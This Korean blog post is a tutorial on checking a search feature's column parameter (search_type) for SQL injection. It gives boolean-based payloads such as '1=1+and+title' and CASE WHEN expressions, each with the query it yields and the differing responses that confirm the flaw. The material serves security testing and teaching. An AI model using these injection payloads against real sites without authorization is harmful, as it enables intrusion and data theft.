Oh! JUN

검색 기능의 컬럼 파라미터에 대한 올바른 취약점 점검 방법 본문

웹 해킹/SQL Injection

검색 기능의 컬럼 파라미터에 대한 올바른 취약점 점검 방법

Kwon Oh! JUN 2022. 8. 5. 02:15

 

검색 기능의 입력 파라미터뿐만 아니라 컬럼을 구분을 구분해주는 파라미터에서도 취약점을 찾을 수 있다.


 

 

search_type=all&keyword=test을 쿼리문으로 보면

select * from board where all like '%test%' 구조로 예측을 할 수 있다.


 

search_type=1=1+and+title&keyword=test 을 쿼리문으로 바꾸면

select * from board where 1=1 and title like '%test%'

1=1은 참

title like '%test%' title에 test가 있으니까 참

전체 쿼리문은 참

그래서 이미지 오른쪽 Response에 test문이 검색된걸 확인할 수 있다.


 

search_type=1=2+and+title&keyword=test 을 쿼리문으로 바꾸면

select * from board where 1=2 and title like '%test%'

1=2은 거짓

title like '%test%' title에 test가 있으니까 참

전체 쿼리문은 거짓

그래서 이미지 오른쪽 Response에 test문이 검색되지 않았음을 확인할 수 있다.


 

case when 구문을 사용해서도 취약점 점검을 할 수 있다.

 

search_type=(case+when+1=1+then+title+else+'zzzz'+end)&keyword=test 쿼리문으로 바꾸면

select * from board where (case+when+1=1+then+title+else+'zzzz'+end) like '%test%'

1=1이 참이니까 title 수렴한다.

결국 title like '%test%' 검색 


 

search_type=(case+when+1=2+then+title+else+'zzzz'+end)&keyword=test 쿼리문으로 바꾸면

select * from board where (case+when+1=2+then+title+else+'zzzz'+end) like '%test%'

1=2이 거짓이니까 'zzzz'(의미없는 컬럼) 수렴한다.

결국 'zzzz' like '%test%' 다른 값이니까 검색되지 않음

 

* 주의할 점

 title과 'zzzz'의 작은따움표의 유무는 

title은 search_type에서 설정된 제목(title)을 검색하는 기능적인 역할을 하는거고 

'zzzz'은 아무런 기능없이 zzzz라는 문자 그 자체를 뜻한다.

그래서 'zzzz'를 따움표없이하면 오류가 뜬다.(zzzz는 아무런 기능을 할당하지 않았으니까)

임의로 문자를 주고 단순히 test랑 같지 않다라는 것을 보여줄려는 의도이다.('zzzz' like '%test%')